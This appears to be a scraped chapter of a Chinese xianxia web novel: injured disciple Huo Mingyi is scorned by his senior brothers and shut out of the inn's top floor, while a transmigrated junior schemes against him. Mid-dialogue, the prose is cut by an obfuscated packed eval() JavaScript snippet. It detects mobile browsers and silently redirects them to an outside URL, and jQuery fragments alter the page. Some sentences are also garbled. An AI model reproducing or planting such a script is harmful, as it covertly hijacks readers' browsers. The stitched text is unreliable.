“就这么点儿伤,你哭什么?霍明意,什么时候能不这么娇气?”不耐烦的声音在霍明意的耳边响起。
霍明意靠在一棵树上,虚弱的睁开眼睫,阳光透过树缝斑斑点点洒在他偏过去的侧脸上,虽然整张脸被面纱遮住了大半,但他那格外苍白的眉眼仍旧显得美不胜收,让人看一眼心脏便止不住悸动。
说话的是霍明意的二师兄傅星鄂,性格一向以火爆毒舌著称,说话只凭心情,性格乖戾嚣张。
霍明意低头,看了看自己腹部的几道渗血的爪痕,疼得严重的泪再也忍不住滑落眼角。
他别过脸,带着浓浓的鼻音,“我哭我的,与你何干?”
傅星鄂下意识上前一步。
目光划过他受伤的腹部,抿了抿唇,脸上的表情愈发不耐,“你哭得眼泪鼻涕流一脸,恶心到我了!”
“我才没有流鼻涕!”霍明意跟他呛声。
这时,霍明意的三师兄江月寒走了过来,拉了拉傅星鄂的肩膀,冷冷扫了霍明意一眼,“你跟这种娇气包多说什么?跟他说再多话他也不长记性,永远任性!”
“江月寒,你说清楚,谁任性了?”霍明意捂着腹部,强撑着身体站起来,红着眼睛瞪江月寒。
江月寒张了张嘴,望着霍明意的目光克制又隐忍,像是蕴含着什么,却转瞬即逝。
他嗤笑一声,脸上的轻佻转化为讥讽,肆意打量着霍明意,“都跟你说了,让你安安分分留在云冰门,你却非要跟过来,实力不济还要逞强,如今受了伤也是活该!”
霍明意气得浑身发抖,质问,“我也到了历练的年纪,凭什么小师弟能跟你们一起来除妖,我却不能?”
“你怎么能跟小师弟比?小师弟单纯惹人怜爱,自有我们护着,你加入进来纯粹是拖后腿!”一道寒肃的声音横插进来。
霍明意泪眼朦胧的转身,看见大师兄平君涿怀中抱着一人,缓缓走来。
靠近的第一时间,平君涿的目光便在霍明意全身上下看了一遍。
目光触及到他腹部的伤时,瞳孔猛缩。
接着,平君涿的表情就更冷了,盯着霍明意的眼神幽黑,像是在看仇人。
霍明意下意识瑟缩着身子,不知道平君涿为什么这么看自己,他抿了抿红唇,沉默的跟平君涿对视。
平君涿移开目光,将怀中的人放在地上,生冷的语气转为温和,“小心点儿,小师弟,你脚踝扭伤了,没消肿前尽量不要走路,知道吗?”
傅星鄂:“什么?小师弟脚踝扭伤了?”
江月寒:“小师弟没事吧?”
二人神色一凛,立刻走到那被精心呵护的少年身边,抛下手中的剑,蹲下身子为他检查。
傅星鄂掏出疗伤灵丹,江月寒伸出手,用灵力温养着少年脚踝肿痛的地方。
“谢谢二师兄、三师兄,只是扭伤而已,我真的没大碍。”小师弟名叫杜溪郁,长得清秀雅致,名字也是乖巧的那类。
他被三个师兄围着嘘寒问暖,得意的眼神若有似无投向霍明意。
霍明意没有说话,只是拿出一个软垫铺在地上,又重新坐了下去,默默的吃灵丹打坐疗伤。
他们云冰门的几个师兄弟们下山除妖,遇上遇见了隔壁天剑宗的弟子,结伴出行。
天剑宗的弟子旁观了一切,没想到霍明意这位美到人心坎里的绝世美人,会遭此冷待。
不是性格太差惹得他师兄们厌恶,就是天生的命运多舛,以致人缘不好,不论何种原因都让他们忍不住窃窃私语:
“不是吧?同样是师弟,霍师弟这待遇也太差了!”
“真羡慕杜溪郁,有这么多心疼他的师兄。”
“听说霍师弟实际上比杜溪郁还小一岁,如今才刚满十八,杜溪郁世界上,不过他们师尊和师兄们心疼杜溪郁,非找借口说杜溪郁入门晚,让他做小师弟,让霍师弟处处让着杜溪郁。”
“霍师弟腹部被魅妖抓伤,伤口深可见骨,他的师兄却不仅不心疼,反而还百般苛责,而杜溪郁只是扭伤了脚踝,便被团团围住,喂药的喂药,疗伤的疗伤……”
“不止呢,平君涿平师兄刚刚可是抱杜溪郁来的,应该加一句——搂搂抱抱的搂搂抱抱……”
搂搂抱抱几个字一出,说这话的天剑宗弟子便感觉后脊背生寒。
他四处望去,却见平君涿半揽住杜溪郁的肩的同时,竟不知为何用那双冷酷无情的眼眸,正阴狠的盯着自己。
看错了吧?
天剑宗弟子揉了揉眼睛,仔细看去,发现自己的确看错了——原来不止平君涿,就连江月寒和傅星鄂,也在死死的盯着自己以及其他说话的同门。
天剑宗弟子挠了挠头。
这三个人……有毛病吧?他们说错了什么吗?
明明他们说的都是实情,而且也没有诋毁他们的地方,他们表情怎么这么恐怖?
杜溪郁靠在大师兄清冷的怀抱中,面对着同行的天剑宗弟子投来的艳羡目光,眼底有着说不出的得意。
早在看书的时候,他就看不惯霍明意这个娇气包主角了。
身娇体软,走路三步一喘,一无是处,却能得到所有人的喜爱,要什么有什么。
嘻嘻,既然他穿来了,霍明意就别想好过,幸好他的魅力比霍明意大,在他的影响下,这些原本属于霍明意的男人们,全都来宠着他了。
霍明意长得漂亮又如何,还不是不讨人喜欢。
三个师兄说了,霍明意那个娇气包他们看一眼就烦,身为修士都是逆天改命,需当自强自立,霍明意却只想着依靠别人,像个生长在腐肉里令人厌恶的吸血蛭。
他可要多展现自己阳光积极,坚强勇敢的一面,跟霍明意形成对比。
争取将霍明意衬托得一无是处!
*
两帮人刚刚除完难缠的魅妖,修整了一番后,便下了山找了一间客栈。
天剑宗的弟子们由他们大师兄魏青玉带队,十几个弟子包了整个客栈二层,安顿好后,虽然看着被排斥孤立的霍明意,都于心不忍,可他们是外人,不方便插手他们师兄弟的事,便跟云冰门几人道了别,各自进了房间休息了。
只剩了云冰门这边五个人还站在客栈大堂。
杜溪郁亲昵的抱住平君涿的手臂,“大师兄,今晚我们住哪儿啊?”
平君涿仰头看了一眼,冷肃的脸溢出些宠溺的意味,“顶楼。”
这家客栈总归五层,层级越往上越豪华,一楼是普通房间,二楼则是宽敞又干净舒适的房间,价钱比一层高一些,天剑宗的弟子们人数多,又都是剑修,虽不喜奢华享乐但也不会自寻苦吃,住二层是最合适不过了。
五层则是整间客栈最豪华的,空间大,只有五间房。
霍明意手捂腹部,默默站在一旁,看着三位师兄和小师弟等人有说有笑的去开房,待几人朝楼上走后,便亦步亦趋跟上去。
只是走到五楼的楼梯口时,他却被客栈的店小二拦了下来。
店小二本想口吐恶言,只是在看到霍明意明显比所有人都要精致数倍的建模时,语气骤然温和,“这位客官,楼上似乎没有您的房间。”
霍明意:?
他看了看前面四个人的背影,咬了咬牙,撑着叫住几人,“大师兄,二师兄,三师兄,小师弟!我还没上去呢?”
“上来?你有什么资格住顶楼?”傅星鄂率先嘲讽,“你有钱么?”
霍明意眼眶发热,鼻尖酸涩,“凭什么你们都可以?我、我还受了伤,我也想跟你们一起住。”
杜溪郁那张清秀的脸从傅星鄂身后探出,笑吟吟的对霍明意说,“四师兄,这次住宿是大师兄自掏腰包请客,不是公费住宿,你想要住在五层,你就拿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113920|195885||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出钱来呀!”
“我没有钱。”霍明意说。
他体质特殊,自小就怕吃苦。
他的肌肤跟寻常人不一样,比寻常人光滑娇嫩上千百倍,即便是穿材质最好的法衣,也会将肌肤磨破,吃也要吃最精细、最干净的灵食,凡间的饭菜会让他胃疼,灵食中灵力含量不高也会肚子痛,对于住的地方要求就更高了,若是不安静会睡不着,稍微有一点儿动静也会吵得他脑袋疼,床不软也会咯得腰酸背痛。
可是师尊和师兄们自小就待他十分严苛,扬言根本不会惯着他的臭毛病,所以他一向都是跟着他们吃粗茶淡饭,睡简陋的床。
小时候他总是捂着肚子,走到哪儿眉宇都没法舒展,还经常不穿鞋子乱跑。
因为他吃完饭后肚子疼,因为鞋子会将脚磨破,鲜血淋漓。
若不是因为不穿衣服太羞耻,他连衣服都不想穿,因为那些粗布麻衫穿在身上,跟砂纸一般,无异于酷刑。
长大后,他也没能适应这些,只是他难受痛苦的时候不再跟人诉苦了。
师尊和三位师兄一直强调他要自立自强,不要事事都想着别人,他自小受到的教育也十分认可,觉得的确是自己太娇气才会惹得所有人嫌恶。
可是自从三年前小师弟杜溪郁来到云冰门后,一切却颠覆了霍明意的认知,杜溪郁受了一丁点伤,师尊和三位师兄便如临大敌,给他拿最好的伤药,吃最好的灵丹、灵果,最美味、灵力最纯净的灵食。
霍明意这才明白自己有多么不讨喜。
十岁之后,他的生活费便要自己挣,而小师弟杜溪郁来到云冰门时已经十六了,却有大把的零花钱,想买什么就买什么,身上穿的都是最昂贵的法衣,霍明意曾经有幸摸过,知晓穿上去后肯定极为舒适,只是刚收回手后便被师尊和三位师兄看见了。
他们斥责他虚荣,竟然想偷小师弟的衣裳穿,罚他跪了一整晚,苦口婆心劝告他眼睛不要只盯着好的东西看。
霍明意不明白他们为什么要区别对待,明明杜溪郁还比他大一岁,却能受尽他们的宠爱。
他只能将一切归咎于自己太令人讨厌了。
毕竟他从小嘴巴就不甜,长大后性格就更沉闷了,被人忽视冷待是正常的。
“没有钱就滚下去,别总想着从别人口袋里掏钱!”客栈顶楼上,江月寒厌恶的盯着霍明意,像是在看一条贪婪的毒蛇,“四师弟,我们没义务惯着你。”
霍明意颤抖着眼睫,小声说,“可是……这不公平。”
“哪里不公平了呢?”平君涿严厉的眼神落在霍明意身上,“谁像你一样,什么都不会,却总想着要特权,让所有人都包容你?”
平君涿的话,对霍明意来说,简直是天方夜谭,他从没享受过什么特权,也从没有被人包容过。
小时候练剑他必须兢兢业业、板板正正,不能有一丝懈怠,偌大的云冰门只有师尊和他们师兄弟几人,自己的事情自己做,哪有人会包容他。
“我知道了。”霍明意语气闷闷的,握了握拳头复又松开,没再纠缠他们。
他没什么钱,身上仅有一块中品灵石,几块下品灵石。
他花了一块下品灵石,要了一间房。
这间房连一层的规格都没有,而是在客栈的后院,房间狭小无比,又潮又湿,隔音还差。
霍明意进了房间后,便从简陋的储物袋里,掏出了两块干净柔软的毯子,替换掉了床上破旧单薄的床单和被子,坐在床边清理腹部的伤口。
这么点儿伤,虽然疼,但是对修士来说不算致命。
可是霍明意没有钱,他只能用凡人用的普通金疮药,虽然能愈合伤口,却无法解媚毒。
给伤口上了药后,霍明意又冷又饿,累得昏睡过去。
在睡梦中,他似乎做了一个梦,梦到自己出现在了一个话本中。